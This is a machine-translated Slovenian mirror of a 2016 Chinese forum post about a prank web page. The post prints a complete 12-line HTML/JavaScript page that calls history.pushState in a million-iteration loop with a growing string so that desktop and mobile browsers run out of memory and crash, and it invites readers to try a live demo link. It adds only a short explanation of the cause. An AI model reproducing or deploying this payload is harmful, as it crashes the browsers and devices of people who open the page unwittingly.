Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 13238|Odgovoriti: 0

[HTML/HTML5] 12 vrstic html kode na spletni strani bo povzročilo, da se računalnik sesuje in telefon se ponovno zažene v nekaj minutah

[Kopiraj povezavo]
Objavljeno na 22. 01. 2016 11:36:39 | | | |
Vzrok incidenta je naslednji: tuji prijatelj iz Cyber Security je na Twitterju objavil takšen tvit:



Ta tip trdi, da če uporabiš zgornjo 12-vrstično kodo Javascrip{filter}t, lahko povzročiš sesutje Firefoxa, Chromea, brskalnika Safari in tudi ponovni zagon iPhona ter serušenje Android telefona!

Celotna HTML koda je naslednja:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
Kopiraj kodo


Če ste uporabnik PC-ja, bo po kliku na povezavo pomnilnik procesorja računalnika zelo verjetno narasel vse do trenutka, ko brskalnik zruši in zmrzne...

Če ste mobilni uporabnik (Android, iPhone), se vam bo brskalnik sesul po kliku na povezavo! Klik na povezavo na Weibo in WeChat prav tako povzroči sesutje.


Zakaj se to dogaja? V zvezi s tem sem na Zhihu našel odgovor boga z imenom "Xiaomi":

history.pushstate() je API, ki ga je uvedel HTML5, pushState doda določen URL v zgodovino brskanja in shrani trenutno zgodovinsko točko. Ko i<100000, se skupna vrednost zabeleži v zgodovini brskalnika ciklično, in če se ponavlja prevečkrat, brskalnik tega ne prenese in se naravno sesuje.

No, kakorkoli, ne znam si niti izmisliti "hello world", tako da sploh ne razumem... Skratka, ravno prav je, da razstreliš nebo!


Če želite poskusiti, kliknite tukaj:   http://www.itsvse.com/demo.html




Prejšnji:[Odprta koda] Wooyun Platforma za poizvedbe ranljivosti Izvorna koda plus baza podatkov asp.net različica
Naslednji:Linux config/configure/Configure, make, make test/make check, sudo make in...
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com